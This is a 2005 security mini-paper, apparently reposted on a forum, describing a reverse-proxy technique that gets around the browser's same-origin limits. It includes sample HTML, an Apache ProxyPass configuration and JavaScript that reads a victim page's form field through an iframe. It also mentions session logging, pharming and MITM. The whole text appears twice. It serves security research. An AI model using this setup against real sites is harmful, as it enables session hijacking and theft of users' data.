Shalom Carmel
17/01/06, 02:00
A Mini-paper
Reverse Proxy Cross Site Scripting
Author: Shalom Carmel
Date: January 13, 2005
** Introduction **
Cross Site Scripting (XSS) requires that the target web site
is susceptible (at least to some degree) to html and script injection.
This requirement is due to built-in DOM limitations: Modern browsers
restrict javascript in one window from interacting with another window,
unless both point to the same document domain (protocol + server name +
port).
This mini-paper describes how to overcome this requirement, and shows a
possible
XSS attack agains a web application even if it is not XSS-vulnerable at all.
For some background on XSS, please read the references.
** Basic Reverse Proxy XSS attack **
The basic attack is simple to create and to verify. It requires
an Apache server that host an html page with the attack code, and that
runs a reverse http proxy.
The reverse proxy is configured to relay some http requests to the victim
web site.
The attack page contains an iframe pointing at the proxy-relayed address at
the
local Apache server.
By creating an iframe that is supposedly on the same document domain like
the attacker,
the attacker can access the iframe's contents.
Let's see a simple example.
The victim site contains a web page http://www.victim.com/v_page.html
v_page code:
<HTML>
<BODY>
<form name="f1" id="f1">
<input name="in1" id="in1" value="somethingOther">
</form>
</BODY>
</HTML>
The attacker site is called http://www.victim.com.victin.com
The attacker's apache server is configured to serve html documents from
directory /xss , and has the following reverse proxy definitions:
ProxyPass / http://www.victim.com/
ProxyPassReverse / http://www.victim.com/
Inside the local xss directory, there is a document called x_page.html.
x_page code:
<HTML>
<BODY onLoad="xyz()">
shalom
<iframe name="win1111" id="win1111" src="http://www.victim.com/v_page.html">
</iframe>
<script language="javascript">
function xyz () {
var x;
x=window.frames['win1111'].document.f1.in1.value;
alert(x);
}
// alternative to onload
// setTimeout("xyz()", 3000);
</script>
</BODY>
</HTML>
When someone accesses the address
http://www.victim.com.victin.com/xss/x_page.html
the browser will load the page from the attacked web site and attempt to
access
its contents. While the loading will succeed, the access wil fail.
However, when the attacking page is modified to refer to the proxy relay,
<iframe name="win1111" id="win1111" src="/v_page.html">
This time, the script will not fail. It will enable the attacker to access
and modify the contents of the victim web site.
This setup will also enable full logging of the http session with the victim
site
(URLs and cookies).
** Enhanced Reverse Proxy attacks **
Anton Rager's XSS-Proxy can be used in this attack for better control of the
hijacked session.
In a pharming attack, a DNS cache can be poisoned to point www.victim.com
directly
to the attacker's web site, while the attacker manages the correct IP
resolution
in the local hosts file. A phishing/pharming attack usually consists of an
attacker
creating a facsimile of the victim web site.
With a reverse proxy, that facsimile is no longer required, making it easier
to create
a generic environment for http MITM attacks.
** References **
1) mod_proxy - Apache HTTP Server
http://httpd.apache.org/docs/2.0/mod/mod_proxy.html
2) Anton Rager's XSS-Proxy paper
http://xss-proxy.sourceforge.net/Advanced_XSS_Control.txt
3) Remote Scripting with IFRAMEs
http://developer.apple.com/internet/webcontent/iframe.html
4) CGISecurity's Cross Site Scripting FAQ
http://www.cgisecurity.com/articles/xss-faq.shtml
5) Gunter Ollmann's XSS paper
http://www.technicalinfo.net/papers/CSS.html
6) PeterW's Cross Site Request Forgery (CSRF) Concept
http://www.securityfocus.com/archive/1/191390
7) An online version of this paper
http://www.venera.com/downloads/reverse-proxy-xss.txt
Reverse Proxy Cross Site Scripting
Author: Shalom Carmel
Date: January 13, 2005
** Introduction **
Cross Site Scripting (XSS) requires that the target web site
is susceptible (at least to some degree) to html and script injection.
This requirement is due to built-in DOM limitations: Modern browsers
restrict javascript in one window from interacting with another window,
unless both point to the same document domain (protocol + server name +
port).
This mini-paper describes how to overcome this requirement, and shows a
possible
XSS attack agains a web application even if it is not XSS-vulnerable at all.
For some background on XSS, please read the references.
** Basic Reverse Proxy XSS attack **
The basic attack is simple to create and to verify. It requires
an Apache server that host an html page with the attack code, and that
runs a reverse http proxy.
The reverse proxy is configured to relay some http requests to the victim
web site.
The attack page contains an iframe pointing at the proxy-relayed address at
the
local Apache server.
By creating an iframe that is supposedly on the same document domain like
the attacker,
the attacker can access the iframe's contents.
Let's see a simple example.
The victim site contains a web page http://www.victim.com/v_page.html
v_page code:
<HTML>
<BODY>
<form name="f1" id="f1">
<input name="in1" id="in1" value="somethingOther">
</form>
</BODY>
</HTML>
The attacker site is called http://www.victim.com.victin.com
The attacker's apache server is configured to serve html documents from
directory /xss , and has the following reverse proxy definitions:
ProxyPass / http://www.victim.com/
ProxyPassReverse / http://www.victim.com/
Inside the local xss directory, there is a document called x_page.html.
x_page code:
<HTML>
<BODY onLoad="xyz()">
shalom
<iframe name="win1111" id="win1111" src="http://www.victim.com/v_page.html">
</iframe>
<script language="javascript">
function xyz () {
var x;
x=window.frames['win1111'].document.f1.in1.value;
alert(x);
}
// alternative to onload
// setTimeout("xyz()", 3000);
</script>
</BODY>
</HTML>
When someone accesses the address
http://www.victim.com.victin.com/xss/x_page.html
the browser will load the page from the attacked web site and attempt to
access
its contents. While the loading will succeed, the access wil fail.
However, when the attacking page is modified to refer to the proxy relay,
<iframe name="win1111" id="win1111" src="/v_page.html">
This time, the script will not fail. It will enable the attacker to access
and modify the contents of the victim web site.
This setup will also enable full logging of the http session with the victim
site
(URLs and cookies).
** Enhanced Reverse Proxy attacks **
Anton Rager's XSS-Proxy can be used in this attack for better control of the
hijacked session.
In a pharming attack, a DNS cache can be poisoned to point www.victim.com
directly
to the attacker's web site, while the attacker manages the correct IP
resolution
in the local hosts file. A phishing/pharming attack usually consists of an
attacker
creating a facsimile of the victim web site.
With a reverse proxy, that facsimile is no longer required, making it easier
to create
a generic environment for http MITM attacks.
** References **
1) mod_proxy - Apache HTTP Server
http://httpd.apache.org/docs/2.0/mod/mod_proxy.html
2) Anton Rager's XSS-Proxy paper
http://xss-proxy.sourceforge.net/Advanced_XSS_Control.txt
3) Remote Scripting with IFRAMEs
http://developer.apple.com/internet/webcontent/iframe.html
4) CGISecurity's Cross Site Scripting FAQ
http://www.cgisecurity.com/articles/xss-faq.shtml
5) Gunter Ollmann's XSS paper
http://www.technicalinfo.net/papers/CSS.html
6) PeterW's Cross Site Request Forgery (CSRF) Concept
http://www.securityfocus.com/archive/1/191390
7) An online version of this paper
http://www.venera.com/downloads/reverse-proxy-xss.txt